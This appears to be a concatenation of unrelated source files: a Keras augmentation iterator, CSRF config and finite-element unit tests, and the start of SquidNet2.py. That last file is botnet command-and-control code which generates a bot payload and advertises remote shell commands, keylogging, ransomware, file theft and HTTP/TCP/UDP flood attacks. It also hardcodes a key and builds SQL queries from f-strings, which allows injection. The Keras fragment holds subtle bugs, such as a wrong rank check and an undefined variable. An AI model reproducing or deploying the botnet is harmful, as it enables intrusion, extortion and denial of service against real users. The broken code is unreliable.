zy, 0], [0, 0, 1]]) transform_matrix = np.dot(np.dot(np.dot(rotation_matrix, translation_matrix), shear_matrix), zoom_matrix) h, w = shape[img_row_index], shape[img_col_index] transform_matrix = transform_matrix_offset_center(transform_matrix, h, w) return img_channel_index, img_col_index, img_row_index, transform_matrix class OmniNumpyArrayIterator(Iterator): def __init__(self, X, y, image_data_generator, batch_size=32, shuffle=False, seed=None, dim_ordering='default', save_to_dir=None, save_prefix='', save_format='jpeg',transforms=None): if dim_ordering == 'default': dim_ordering = K.image_dim_ordering() self.X = X#np.asarray(X) for x_i in range(len(self.X)): sub_x = np.asarray(self.X[x_i][0], dtype=np.float32) self.X[x_i][0] = sub_x if sub_x != 4: raise ValueError('Input data in `OmniNumpyArrayIterator` ' 'should have rank 4. You passed an array {0}' 'with shape {1}'.format(x_i,sub_x.shape)) channels_axis = 3 if dim_ordering == 'tf' else 1 if sub_x.shape[channels_axis] not in {1, 3, 4}: raise ValueError('OmniNumpyArrayIterator is set to use the ' 'dimension ordering convention "' + dim_ordering + '" ' '(channels on axis ' + str(channels_axis) + '), i.e. expected ' 'either 1, 3 or 4 channels on axis ' + str(channels_axis) + '. ' 'However, it was passed an array at ' + str(x_i) + ' with shape ' + str(sub_x.shape) + ' (' + str(sub_x.shape[channels_axis]) + ' channels).') self.y = y if y is not None: for y_i in range(len(self.y)): sub_x = np.asarray(self.y[y_i][0], dtype=np.float32) self.y[y_i][0] = sub_y self.image_data_generator = image_data_generator self.dim_ordering = dim_ordering self.save_to_dir = save_to_dir self.save_prefix = save_prefix self.save_format = save_format self.transforms = transforms super(OmniNumpyArrayIterator, self).__init__(X[0][0].shape[0], batch_size, shuffle, seed) def next(self): # for python 2.x. # Keeps under lock only the mechanism which advances # the indexing of each batch # see http://anandology.com/blog/using-iterators-and-generators/ with self.lock: index_array, current_index, current_batch_size = next(self.index_generator) # The transformation of images is not under thread lock so it can be done in parallel result_x = [[] for x in self.X] if self.y is not None: result_y = [[] for y in self.y] for j in enumerate(index_array): tmp_x = [(x_sub[0][j], x_sub[1]) for x_sub in self.X] if self.y is not None: tmp_y = [(y_sub[0][j], y_sub[1]) for y_sub in self.y] else: tmp_y = None x,y = self.image_data_generator.random_transform(tmp_x, tmp_y) for x_i in range(len(x)): result_x[x_i].append(x[x_i][0].reshape((1,)+x[x_i][0].shape)) if self.y is not None: for y_i in range(len(y)): result_y[y_i].append(y[y_i][0].reshape((1,)+y[y_i][0].shape)) for x_i in range(len(x)): result_x[x_i] = np.concatenate(result_x[x_i],axis=0) if self.y is not None: for y_i in range(len(y)): result_y[y_i] = np.concatenate(result_y[y_i],axis=0) if self.save_to_dir:#todo handle y for i in range(current_batch_size): img = array_to_img(result_x[i], self.dim_ordering, scale=True) fname = '{prefix}_{index}_{hash}.{format}'.format(prefix=self.save_prefix, index=current_index + i, hash=np.random.randint(1e4), format=self.save_format) img.save(os.path.join(self.save_to_dir, fname)) if self.y is not None: if self.transforms is not None: for y_i in range(len(y)): result_y[y_i] = self.transforms[y_i](result_y[y_i]) return result_x,result_y def augmented_predict(model, X, batch_size, n_aug): """ Predict with several image manipulations and then :param model: Keras model to predict with :param X: :param batch_size: model predict batch size :param n_aug: number of times to predict and average :return: """ aug_generator = XOnlyImageDataGenerator( featurewise_center=False, # set input mean to 0 over the dataset samplewise_center=False, # set each sample mean to 0 featurewise_std_normalization=False, # divide inputs by std of the dataset samplewise_std_normalization=False, # divide each input by its std zca_whitening=False, # apply ZCA whitening rotation_range=360, # randomly rotate images in the range (degrees, 0 to 180) width_shift_range=0.1, # randomly shift images horizontally (fraction of total width) height_shift_range=0.1, # randomly shift images vertically (fraction of total height) horizontal_flip=True, # randomly flip images vertical_flip=True, shear_range=0.2, zoom_range=0.1, channel_shift_range=10, # can't do channel shift on the y dim_ordering='th') predictions = None for i in range(n_aug): generator = aug_generator.flow(X, batch_size=int(batch_size*2), shuffle=False) predictions_patch = model.predict_generator(generator, val_samples=len(X)) if predictions is None: predictions = predictions_patch else: predictions += predictions_patch predictions /= n_aug return predictions
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7321da8dab1254a99a38686ea7647382e9051ebb
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py
Python
tests/load_config.py
datafold/fastapi-csrf-protect
21943721fdac7db383dacf5183d48ed9df700106
[ "MIT" ]
null
null
null
tests/load_config.py
datafold/fastapi-csrf-protect
21943721fdac7db383dacf5183d48ed9df700106
[ "MIT" ]
null
null
null
tests/load_config.py
datafold/fastapi-csrf-protect
21943721fdac7db383dacf5183d48ed9df700106
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # Copyright (C) 2019-2020 All rights reserved. # FILENAME: load_config.py # VERSION: 0.1.0 # CREATED: 2020-11-26 16:14 # AUTHOR: Aekasitt Guruvanich <aekazitt@gmail.com> # DESCRIPTION: # # HISTORY: #************************************************************* import unittest from fastapi_csrf_protect import CsrfProtect from tests.base import BaseTestCase from pydantic import ValidationError class LoadConfigTestCase(BaseTestCase): def test_missing_secret_key(self, route='/protected'): error_called = False try: @CsrfProtect.load_config def load_secret_key(): return [('secret_key', None)] resp = self.client.get(route) except Exception as err: error_called = True assert isinstance(err, RuntimeError) assert err.args[0] == 'A secret key is required to use CSRF.' assert error_called == True def test_load_config(self, config_key:str='secret_key', config_value='', invalid=False): error_called = False try: @CsrfProtect.load_config def load_csrf_conifig(): return [(config_key, config_value)] except Exception as err: error_called = True assert isinstance(err, ValidationError) if invalid: assert error_called is True else: assert error_called is False def test_load_secret_key_as_int(self): self.test_load_config(config_key='secret_key', config_value=2, invalid=True) def test_load_secret_key_as_float(self): self.test_load_config(config_key='secret_key', config_value=1.0, invalid=True) def test_load_secret_key_as_bool(self): self.test_load_config(config_key='secret_key', config_value=True, invalid=True) def test_load_secret_key_as_bytes(self): self.test_load_config(config_key='secret_key', config_value=b'secret', invalid=True) def test_load_secret_key_as_str(self): self.test_load_config(config_key='secret_key', config_value='secret', invalid=False) def test_load_secret_key_as_list(self): self.test_load_config(config_key='secret_key', config_value=[], invalid=True) def test_load_secret_key_as_dict(self): self.test_load_config(config_key='secret_key', config_value={}, invalid=True) def test_load_csrf_header_name_as_int(self): self.test_load_config(config_key='csrf_header_name', config_value=2, invalid=True) def test_load_csrf_header_name_as_float(self): self.test_load_config(config_key='csrf_header_name', config_value=1.0, invalid=True) def test_load_csrf_header_name_as_bool(self): self.test_load_config(config_key='csrf_header_name', config_value=bool, invalid=True) def test_load_csrf_header_name_as_bytes(self): self.test_load_config(config_key='csrf_header_name', config_value=b'secret', invalid=True) def test_load_csrf_header_name_as_str(self): self.test_load_config(config_key='csrf_header_name', config_value='secret', invalid=False) def test_load_csrf_header_name_as_list(self): self.test_load_config(config_key='csrf_header_name', config_value=[], invalid=True) def test_load_csrf_header_name_as_dict(self): self.test_load_config(config_key='csrf_header_name', config_value={}, invalid=True) def test_load_csrf_header_type_as_int(self): self.test_load_config(config_key='csrf_header_type', config_value=2, invalid=True) def test_load_csrf_header_type_as_float(self): self.test_load_config(config_key='csrf_header_type', config_value=1.0, invalid=True) def test_load_csrf_header_type_as_bool(self): self.test_load_config(config_key='csrf_header_type', config_value=True, invalid=True) def test_load_csrf_header_type_as_bytes(self): self.test_load_config(config_key='csrf_header_type', config_value=b'secret', invalid=True) def test_load_csrf_header_type_as_str(self): self.test_load_config(config_key='csrf_header_type', config_value='secret', invalid=False) def test_load_csrf_header_type_as_list(self): self.test_load_config(config_key='csrf_header_type', config_value=[], invalid=True) def test_load_csrf_header_type_as_dict(self): self.test_load_config(config_key='csrf_header_type', config_value={}, invalid=True) def test_load_csrf_in_cookies_as_int(self): self.test_load_config(config_key='csrf_in_cookies', config_value=2, invalid=True) def test_load_csrf_in_cookies_as_float(self): self.test_load_config(config_key='csrf_in_cookies', config_value=1.0, invalid=True) def test_load_csrf_in_cookies_as_bool(self): self.test_load_config(config_key='csrf_in_cookies', config_value=True, invalid=False) def test_load_csrf_in_cookies_as_bytes(self): self.test_load_config(config_key='csrf_in_cookies', config_value=b'secret', invalid=True) def test_load_csrf_in_cookies_as_str(self): self.test_load_config(config_key='csrf_in_cookies', config_value='secret', invalid=True) def test_load_csrf_in_cookies_as_list(self): self.test_load_config(config_key='csrf_in_cookies', config_value=[], invalid=True) def test_load_csrf_in_cookies_as_dict(self): self.test_load_config(config_key='csrf_in_cookies', config_value={}, invalid=True) def test_load_csrf_methods_as_int(self): self.test_load_config(config_key='csrf_methods', config_value=2, invalid=True) def test_load_csrf_methods_as_float(self): self.test_load_config(config_key='csrf_methods', config_value=1.0, invalid=True) def test_load_csrf_methods_as_bool(self): self.test_load_config(config_key='csrf_methods', config_value=True, invalid=True) def test_load_csrf_methods_as_bytes(self): self.test_load_config(config_key='csrf_methods', config_value=b'secret', invalid=True) def test_load_csrf_methods_as_str(self): self.test_load_config(config_key='csrf_methods', config_value='secret', invalid=True) def test_load_csrf_methods_as_empty_list(self): self.test_load_config(config_key='csrf_methods', config_value=[], invalid=False) def test_load_csrf_methods_as_list_int(self): self.test_load_config(config_key='csrf_methods', config_value=[1, 2, 3], invalid=True) def test_load_csrf_methods_as_tuple_int(self): self.test_load_config(config_key='csrf_methods', config_value=(1, 2, 3), invalid=True) def test_load_csrf_methods_as_set_int(self): self.test_load_config(config_key='csrf_methods', config_value={1, 2, 3}, invalid=True) def test_load_csrf_methods_as_list_str(self): self.test_load_config(config_key='csrf_methods', config_value=['1', '2', '3'], invalid=True) def test_load_csrf_methods_as_tuple_str(self): self.test_load_config(config_key='csrf_methods', config_value=('1', '2', '3'), invalid=True) def test_load_csrf_methods_as_set_str(self): self.test_load_config(config_key='csrf_methods', config_value={'1', '2', '3'}, invalid=True) def test_load_csrf_methods_as_list_valid_str(self): self.test_load_config(config_key='csrf_methods', config_value=['GET', 'POST', 'DELETE'], invalid=False) def test_load_csrf_methods_as_tuple_valid_str(self): self.test_load_config(config_key='csrf_methods', config_value=('GET', 'POST', 'DELETE'), invalid=False) def test_load_csrf_methods_as_set_valid_str(self): self.test_load_config(config_key='csrf_methods', config_value={'GET', 'POST', 'DELETE'}, invalid=False) def test_load_csrf_methods_as_dict(self): self.test_load_config(config_key='csrf_methods', config_value={'key': 'value'}, invalid=True) if __name__ == '__main__': unittest.main()
42.514286
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73572319cc6fcfc43587a25bef2254492c258bbb
11,926
py
Python
tests/test_fem.py
olivierverdier/sfepy
83aefb7b33ea17f4acb83388ba8bc7314c77616c
[ "BSD-3-Clause" ]
1
2015-07-30T13:47:23.000Z
2015-07-30T13:47:23.000Z
tests/test_fem.py
olivierverdier/sfepy
83aefb7b33ea17f4acb83388ba8bc7314c77616c
[ "BSD-3-Clause" ]
null
null
null
tests/test_fem.py
olivierverdier/sfepy
83aefb7b33ea17f4acb83388ba8bc7314c77616c
[ "BSD-3-Clause" ]
null
null
null
import os.path as op import numpy as nm import sfepy from sfepy.base.testing import TestCommon test_bases = { '2_3_P1' : nm.array([[[ 1. , 0. , 0. ]], [[ 0. , 1. , 0. ]], [[ 0. , 0. , 1. ]], [[ 0.6, 0.2, 0.2]]]), '2_3_P1_grad' : nm.array([[[-1., 1., 0.], [-1., 0., 1.]], [[-1., 1., 0.], [-1., 0., 1.]], [[-1., 1., 0.], [-1., 0., 1.]], [[-1., 1., 0.], [-1., 0., 1.]]]), '2_4_Q1' : nm.array([[[ 1. , 0. , 0. , 0. ]], [[ 0. , 1. , 0. , 0. ]], [[ 0. , 0. , 1. , 0. ]], [[ 0. , 0. , 0. , 1. ]], [[ 0.64, 0.16, 0.04, 0.16]]]), '2_4_Q1_grad' : nm.array([[[-1. , 1. , 0. , -0. ], [-1. , -0. , 0. , 1. ]], [[-1. , 1. , 0. , -0. ], [-0. , -1. , 1. , 0. ]], [[-0. , 0. , 1. , -1. ], [-0. , -1. , 1. , 0. ]], [[-0. , 0. , 1. , -1. ], [-1. , -0. , 0. , 1. ]], [[-0.8, 0.8, 0.2, -0.2], [-0.8, -0.2, 0.2, 0.8]]]), '3_4_P0' : nm.ones((5, 1, 1)), '3_4_P0_grad' : nm.zeros((5, 3, 1)), '3_8_Q0' : nm.ones((9, 1, 1)), '3_8_Q0_grad' : nm.zeros((9, 3, 1)), '3_8_Q1' : nm.array([[[ 1. , 0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[ 0. , 1. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[ 0. , 0. , 1. , 0. , 0. , 0. , 0. , 0. ]], [[ 0. , 0. , 0. , 1. , 0. , 0. , 0. , 0. ]], [[ 0. , 0. , 0. , 0. , 1. , 0. , 0. , 0. ]], [[ 0. , 0. , 0. , 0. , 0. , 1. , 0. , 0. ]], [[ 0. , 0. , 0. , 0. , 0. , 0. , 1. , 0. ]], [[ 0. , 0. , 0. , 0. , 0. , 0. , 0. , 1. ]], [[ 0.512, 0.128, 0.032, 0.128, 0.128, 0.032, 0.008, 0.032]]]), '3_8_Q1_grad' : nm.array([[[-1. , 1. , 0. , -0. , -0. , 0. , 0. , -0. ], [-1. , -0. , 0. , 1. , -0. , -0. , 0. , 0. ], [-1. , -0. , -0. , -0. , 1. , 0. , 0. , 0. ]], [[-1. , 1. , 0. , -0. , -0. , 0. , 0. , -0. ], [-0. , -1. , 1. , 0. , -0. , -0. , 0. , 0. ], [-0. , -1. , -0. , -0. , 0. , 1. , 0. , 0. ]], [[-0. , 0. , 1. , -1. , -0. , 0. , 0. , -0. ], [-0. , -1. , 1. , 0. , -0. , -0. , 0. , 0. ], [-0. , -0. , -1. , -0. , 0. , 0. , 1. , 0. ]], [[-0. , 0. , 1. , -1. , -0. , 0. , 0. , -0. ], [-1. , -0. , 0. , 1. , -0. , -0. , 0. , 0. ], [-0. , -0. , -0. , -1. , 0. , 0. , 0. , 1. ]], [[-0. , 0. , 0. , -0. , -1. , 1. , 0. , -0. ], [-0. , -0. , 0. , 0. , -1. , -0. , 0. , 1. ], [-1. , -0. , -0. , -0. , 1. , 0. , 0. , 0. ]], [[-0. , 0. , 0. , -0. , -1. , 1. , 0. , -0. ], [-0. , -0. , 0. , 0. , -0. , -1. , 1. , 0. ], [-0. , -1. , -0. , -0. , 0. , 1. , 0. , 0. ]], [[-0. , 0. , 0. , -0. , -0. , 0. , 1. , -1. ], [-0. , -0. , 0. , 0. , -0. , -1. , 1. , 0. ], [-0. , -0. , -1. , -0. , 0. , 0. , 1. , 0. ]], [[-0. , 0. , 0. , -0. , -0. , 0. , 1. , -1. ], [-0. , -0. , 0. , 0. , -1. , -0. , 0. , 1. ], [-0. , -0. , -0. , -1. , 0. , 0. , 0. , 1. ]], [[-0.64, 0.64, 0.16, -0.16, -0.16, 0.16, 0.04, -0.04], [-0.64, -0.16, 0.16, 0.64, -0.16, -0.04, 0.04, 0.16], [-0.64, -0.16, -0.04, -0.16, 0.64, 0.16, 0.04, 0.16]]]), '3_4_P2' : nm.array([[[ 1. , -0. , -0. , -0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0. , 1. , -0. , -0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0. , -0. , 1. , -0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0. , -0. , -0. , 1. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0.08, -0.12, -0.12, -0.12, 0.32, 0.16, 0.32, 0.32, 0.16, 0.16]]]), '3_4_P2_grad' : nm.array([[[-3. , -1. , 0. , 0. , 4. , 0. , 0. , 0. , 0. , 0. ], [-3. , 0. , -1. , 0. , 0. , 0. , 4. , 0. , 0. , 0. ], [-3. , 0. , 0. , -1. , 0. , 0. , 0. , 4. , 0. , 0. ]], [[ 1. , 3. , 0. , 0. , -4. , 0. , 0. , 0. , 0. , 0. ], [ 1. , 0. , -1. , 0. , -4. , 4. , 0. , 0. , 0. , 0. ], [ 1. , 0. , 0. , -1. , -4. , 0. , 0. , 0. , 4. , 0. ]], [[ 1. , -1. , 0. , 0. , 0. , 4. , -4. , 0. , 0. , 0. ], [ 1. , 0. , 3. , 0. , 0. , 0. , -4. , 0. , 0. , 0. ], [ 1. , 0. , 0. , -1. , 0. , 0. , -4. , 0. , 0. , 4. ]], [[ 1. , -1. , 0. , 0. , 0. , 0. , 0. , -4. , 4. , 0. ], [ 1. , 0. , -1. , 0. , 0. , 0. , 0. , -4. , 0. , 4. ], [ 1. , 0. , 0. , 3. , 0. , 0. , 0. , -4. , 0. , 0. ]], [[-0.6, -0.2, 0. , 0. , 0.8, 0.8, -0.8, -0.8, 0.8, 0. ], [-0.6, 0. , -0.2, 0. , -0.8, 0.8, 0.8, -0.8, 0. , 0.8], [-0.6, 0. , 0. , -0.2, -0.8, 0. , -0.8, 0.8, 0.8, 0.8]]]), '3_4_P2B' : nm.array([[[ 1. , -0. , -0. , -0. , 0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0. , 1. , -0. , -0. , 0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0. , -0. , 1. , -0. , 0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0. , -0. , -0. , 1. , 0. , 0. , 0. , 0. , 0. , 0. , 0. ]], [[-0.16192, -0.20192, -0.20192, -0.20192, 0.23808, 0.07808, 0.23808, 0.23808, 0.07808, 0.07808, 0.8192 ]]]), '3_4_P2B_grad' : nm.array([[[-3. , -1. , 0. , 0. , 4. , 0. , 0. , 0. , 0. , 0. , 0. ], [-3. , 0. , -1. , 0. , 0. , 0. , 4. , 0. , 0. , 0. , 0. ], [-3. , 0. , 0. , -1. , 0. , 0. , 0. , 4. , 0. , 0. , 0. ]], [[ 1. , 3. , 0. , 0. , -4. , 0. , 0. , 0. , 0. , 0. , 0. ], [ 1. , 0. , -1. , 0. , -4. , 4. , 0. , 0. , 0. , 0. , 0. ], [ 1. , 0. , 0. , -1. , -4. , 0. , 0. , 0. , 4. , 0. , 0. ]], [[ 1. , -1. , 0. , 0. , 0. , 4. , -4. , 0. , 0. , 0. , 0. ], [ 1. , 0. , 3. , 0. , 0. , 0. , -4. , 0. , 0. , 0. , 0. ], [ 1. , 0. , 0. , -1. , 0. , 0. , -4. , 0. , 0. , 4. , 0. ]], [[ 1. , -1. , 0. , 0. , 0. , 0. , 0. , -4. , 4. , 0. , 0. ], [ 1. , 0. , -1. , 0. , 0. , 0. , 0. , -4. , 0. , 4. , 0. ], [ 1. , 0. , 0. , 3. , 0. , 0. , 0. , -4. , 0. , 0. , 0. ]], [[-0.8048, -0.4048, -0.2048, -0.2048, 0.5952, 0.5952, -1.0048, -1.0048, 0.5952, -0.2048, 2.048 ], [-0.8048, -0.2048, -0.4048, -0.2048, -1.0048, 0.5952, 0.5952, -1.0048, -0.2048, 0.5952, 2.048 ], [-0.8048, -0.2048, -0.2048, -0.4048, -1.0048, -0.2048, -1.0048, 0.5952, 0.5952, 0.5952, 2.048 ]]]), } class Test(TestCommon): @staticmethod def from_conf(conf, options): from sfepy.fem.geometry_element import GeometryElement gels = {} for key in ['2_3', '2_4', '3_4', '3_8']: gel = GeometryElement(key) gels[key] = gel return Test(conf=conf, options=options, gels=gels) def test_base_functions_values(self): """ Compare base function values and their gradients with correct data. Also test that sum of values over all element nodes gives one. """ from sfepy.base.base import ordered_iteritems from sfepy.fem.poly_spaces import PolySpace ok = True for key, val in ordered_iteritems(test_bases): gel = self.gels[key[:3]] diff = key[-4:] == 'grad' order = int(key[5]) force_bubble = key[6:7] == 'B' ps = PolySpace.any_from_args('aux', gel, order, base='lagrange', force_bubble=force_bubble) dim = ps.geometry.dim coors = nm.r_[ps.geometry.coors, [[0.2] * dim]] bf = ps.eval_base(coors, diff=diff) _ok = nm.allclose(val, bf, rtol=0.0, atol=1e-14) ## if not _ok: ## nm.set_printoptions(threshold=1000000, linewidth=65) ## print bf.__repr__() if not diff: _ok = _ok and nm.allclose(bf.sum(axis=2), 1.0, rtol=0.0, atol=1e-14) self.report('%s: %s' % (key, _ok)) ok = ok and _ok return ok def test_base_functions_delta(self): """ Test :math:`\delta` property of base functions evaluated in the reference element nodes. """ from sfepy.base.base import ordered_iteritems from sfepy.fem.poly_spaces import PolySpace ok = True for key, gel in ordered_iteritems(self.gels): for order in range(11): ps = PolySpace.any_from_args('aux', gel, order, base='lagrange', force_bubble=False) bf = ps.eval_base(ps.node_coors) _ok = nm.allclose(nm.eye(ps.n_nod), bf.squeeze(), rtol=0.0, atol=(order + 1) * 1e-14) self.report('%s order %d (n_nod: %d): %s' % (key, order, ps.n_nod, _ok)) if not _ok: import pdb; pdb.set_trace() ok = ok and _ok return ok
41.409722
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11,926
1.975592
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0.274803
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0.466492
0.441782
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false
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7
735c54ffe2ebc0735fe1d38bd7b73a7aea04d1fa
442,325
py
Python
SquidNet2/SquidNet2.py
DrSquidX/Ethical-Hacking-Scripts
b383634d16065527cf02f9c7a05f0e1b87734eff
[ "MIT" ]
29
2021-05-23T19:09:18.000Z
2022-03-25T03:07:57.000Z
SquidNet2/SquidNet2.py
DrSquidX/Hacking-Scripts
b383634d16065527cf02f9c7a05f0e1b87734eff
[ "MIT" ]
1
2021-11-04T03:32:44.000Z
2021-11-06T09:53:12.000Z
SquidNet2/SquidNet2.py
DrSquidX/Ethical-Hacking-Scripts
b383634d16065527cf02f9c7a05f0e1b87734eff
[ "MIT" ]
6
2021-08-23T16:04:34.000Z
2022-03-07T01:07:15.000Z
import socket, threading, hashlib, os, datetime, time, sqlite3, shutil, urllib.request, json, sys class BotNet: """Main Class for the BotNet. Every single line of server code, payload code is inside of this class. There are many functions inside of the class, where they have many different uses. They vary in usefullness and effectiveness, nonetheless they all contribute to the overall functioning of the server. It uses a lot of logic and similar code from DatCord, which was a server that truly displayed my advancements in network programming, where it also is an improvement from the previous SquidNet. SquidNet2 does not have as many bugs, and also not as many useless functions. This script remains unfinished(I worked on it a lot on an airplane DX), so there could be many problems that could possibly occur.""" def logo(self): """Logo of the script, nothing too special here.""" logo = """ /\\ //\\\\ //__\\\\ //____\\\\ \\\____// \\\__// [|__|] [|__|] [|__|] [|__|] [|__|] [|__|] [|__|] /) [|__|] (\\ //\_________[|__|]________/\\\\ ))__________||__||_________(( <_/ [ \/ ] \_> || || || || || || || || || || || || || || || || || || _________ .__ .||_||_||__ __ ________ _____ .________ / _____/ ________ __|__| __|||/\ \ _____/ |_\_____ \ ___ __/ | | | ____/ \_____ \ / ____/ | \ |/ __ | / | \_/ __ \ __\/ ____/ \ \/ / | |_ |____ \ / < <_| | | / / /_/ |/ | \ ___/| | / \ \ / ^ / / \\ /_______ /\__ |____/|__\____ |\____|__ /\___ >__| \_______ \ \_/\____ | /\ /______ / \/ |__| \/ || || \/ \/ \/ |__| \/ \/ || || || || || || || || || || || || || || || || || || \\\ || // \\\||// \\\// ____-\/-____ -__- / \\ Advanced Botnet By DrSquid [+] Github: https://github.com/DrSquidX""" return logo def __init__(self, ip, port, version, external_ip=None, external_port=None, admin_user="admin", admin_pass="adminpassword12345", logfile="log.txt", enc_key=b'iC0g4NM4xy5JrIbRV-8cZSVgFfQioUX8eTVGYRhWlF8=', ftp_dir="Bot_Files", ransomware_active=True): """Initiation of the class. Most of every important variable is mentioned here. This function is very important, as it has the definitions of all of the important variables needed for functionality, and also for specification of different things. Many things are defined here, such as the socket that will be used to handle all of the connections, as well as all of the smaller, yet very important variables that would hinder the performace and functionality of the script, if they were to be missing. There is also the use of some functions, as they are needed to help configure different things inside of the server.""" self.ip = ip self.port = int(port) self.downloading = False self.ddosing = False self.enc_key = enc_key self.botdownload = None self.ftp_dir = ftp_dir self.ransomware_active = ransomware_active self.external_ip = external_ip self.external_port = external_port self.admin_online = False self.logfile = logfile self.sqlfilename = "Server.db" self.filetransfer = False self.sqlconnected = False self.sending_file = False self.auto_ban = False self.keylogging = False self.botinfofile = "botinfo.txt" self.timetoautoban = 0 botinfo = open(self.botinfofile,"w").close() self.max_connpersec = 20 self.connpersec = 0 self.conncount = 0 self.timer = 1 self.conf_dbfile() file = open(self.logfile, "w").close() self.log(self.logo()) self.version = version if self.external_ip is None: self.external_ip = self.ip if self.external_port is None: self.external_port = self.port if self.ransomware_active: self.quot = "" else: self.quot = "'''" self.payload = self.gen_payload() self.payloadfile = open("SquidBot.py","w") self.payloadfile.write(self.payload) self.payloadfile.close() if self.ftp_dir not in os.listdir(): os.mkdir(self.ftp_dir) self.log(f"""[({datetime.datetime.today()})][(INFO)]: Server Started on {self.ip}:{self.port} [({datetime.datetime.today()})][(INFO)]: Bots/Admins will connect to: {self.external_ip}:{self.external_port} [({datetime.datetime.today()})][(INFO)]: Payload Bot Script Generated in {os.path.join(os.getcwd(), "SquidBot.py")}""") self.botnum = 1 self.connlist = [] self.botinfo = [] self.adminconn = None self.focusing = False self.focus_conn = None self.focus_botname = "" self.admin_username = admin_user self.admin_password = hashlib.sha256(admin_pass.encode()).hexdigest() self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shutil.copyfile(os.path.join(os.getcwd(),self.payloadfile.name), os.path.join(os.getcwd(),self.ftp_dir,self.payloadfile.name)) self.log(f"[({datetime.datetime.today()})][(SERVER)]: Payload file has been transferred to the FTP directory(for extraction of Admin).") def exec_sql_cmd(self, file, cmd): """Optimization code made for executing commands on db files. The reason it was made was for optimization purposes. This excerpt of code would be pretty much all over the place in this script if it weren't a function, and it would make the script look less elegant and clean with all of the repitition.""" output = "" try: db = sqlite3.connect(file) cursor = db.cursor() cursor.execute(cmd) output = cursor.fetchall() db.commit() cursor.close() db.close() except Exception as e: self.log(f"[({datetime.datetime.today()})][(RESETSQL)]: Error with SQL Database file '{self.sqlfilename}': {e}, reconfiguring as a precaution.") self.conf_dbfile() return output def conf_dbfile(self): """This function helps configure the database file that contains the IP whitelists and banlists. As you can see, there is the previous function that was used to optimize the code. What the function truly does, is create the Database file if it doesn't already exist, and create the tables containing the IP banlist and whitelist if they do not exist.""" try: file = open(self.sqlfilename,"rb") except: file = open(self.sqlfilename,"wb") file.close() self.exec_sql_cmd(self.sqlfilename, "create table if not exists ipbanlist(ip)") self.exec_sql_cmd(self.sqlfilename, "create table if not exists ipallowlist(ip)") def return_iplist(self, list_type): """This gets a list of the IPs, although you need to specify whether it is from the IP Whitelist or the Banlist.""" banned_ips = self.exec_sql_cmd(self.sqlfilename, f"select ip from ip{list_type}list") new_ip_list = [] for i in banned_ips: new_ip_list.append(i[0]) return new_ip_list def add_ip(self, ip, list_type): """This adds an IP to the specified list type(either Whitelist or Banlist)""" self.exec_sql_cmd(self.sqlfilename, f"insert into ip{list_type}list values('{ip}')") def remove_ip(self, ip, list_type): """This removes an IP to the specified list type(either Whitelist or Banlist)""" self.exec_sql_cmd(self.sqlfilename, f"delete from ip{list_type}list where ip = '{ip}'") def help_msg(self): """The help message sent to the admins if they request it. It contains all of the information about the commands, and also the commands themselves. The arguements are provided, so that the user can get a sense of how to actually use the commands effectively.""" return """\n[(SERVER)]: Info about each command: [+] Utilities: [+] !whitelistip <ip> - Adds an IP to the whitelist, allowing them to connect to the server during a DDoS Attack. [+] !unwhitelistip <ip> - Removes an IP from the whitelist. [+] !banip <ip> - Bans an IP from the server, therefore having them kicked every time they try to connect to the server. [+] !unbanip <ip> - Removes an IP from the server. [+] !focusconn <botname> - Only be able to send or see messages from a single bot. [+] !stopfocus - Stops focus mode. [+] !getipwhitelist - Obtains the list of the IP Addresses in the Whitelist. [+] !getipbanlist - Obtains the list of the IP Addresses in the Banlist. [+] !getbotinfo - Displays information from each of the bots. [+] !help - Displays this message. [+] !startftp - Start file transfer protocol between the admin and the server(to get any transferred Bot Files). [+] !togglelisten - Toggles the setting for the server to listen for connections or not. [+] Bot Commands: [+] !filedownload <file> - Download a file on a single bot computer(requires focus mode). [+] !download <file> <link> - Make the bot download a file from the internet. [+] !mkdir <dir> - Create a folder inside of the bots working directory. [+] !delfolder <dir> - Remove a folder inside of the bots working directory. [+] !createfile <filename> - Create a file in the bots. [+] !delfile <filename> - Delete a file in the bots. [+] !encfile <filename> - Encrypt a file inside of the bots. [+] !decrypt <filename> - Decrypt a file that has been encrypted. [+] !open <filename> - Open a file inside of the bots working directory. [+] !viewfilecontent <file> - View the contents of a file in the bots directory. [+] !writefile <filename> - Open and write inside of a file inside of the bots. [+] !sqlconnect <sqlfile> - Connect to a Sqlite3 Compatable Database file in the bots. [+] !changedir <dir> - Changes the bots working directory to the one specified(use '%user%' as the user for multiple bots). [+] !stopsql - Disconnect from the connected Database file. [+] !stopwrite - Close writing mode and return to normal. [+] !getcwd - Get the current directory of the bots. [+] !keylog - Activate keylogging to see the bots keystrokes. [+] !stopkeylog - Stops the keylogging. [+] !listdir - List all of the items in the bots working directory. [+] !ransomware - Activates the ransomware program inside of the bots. [+] DDoS Attack Commands: [+] !httpflood <website> <delay> - Make the bots conduct an HTTP Flood Attack on the specified Website. [+] !tcpflood <ip> <port> <delay> <pkt_size> - Make the bots concuct a TCP Flood Attack on the specified IP and Port. [+] !udpflood <ip> <port> <delay> <pkt_size> - Make the bots concuct a UDP Flood Attack on the specified IP and Port. [+] !stopatk - Stops the current DDoS Attack that is happening(only one can happen at a time). [+] Note: Any other instructions will be run as shell commands on the remote computers.""" def file_tranfer_help_msg(self): """If the user decides to go onto FTP mode, they will be able to extract files that were extracted from the server via the connected bots. This is the help message sent to the user, if they request help. Like the previous help message, it has all the commands and the information and parameters about them, for the user to use these commands effectively.""" return """\n[(SERVER)]: Info about each command in FTP Mode. [+] !help - Displays this message. [+] !fileinfo - Displays all of the files inside of Server's directory. [+] !download [filename] - Downloads a specified file inside of the Server's directory. [+] !listdir - Gets all of the files inside of the Server's directory. [+] !stopftp - Return to the Botnet and controlling the bots. [+] Note: You will be unable to send messages to the bots in FTP Mode. You can return to normal by inputting '!stopftp'. """ def start(self): """This function is vital for the functionality of the server, because it actually starts it! It simply tries to bind the server to the IP and Port that were provided in the config file. If it doesn't work, an error message will be displayed, so that the 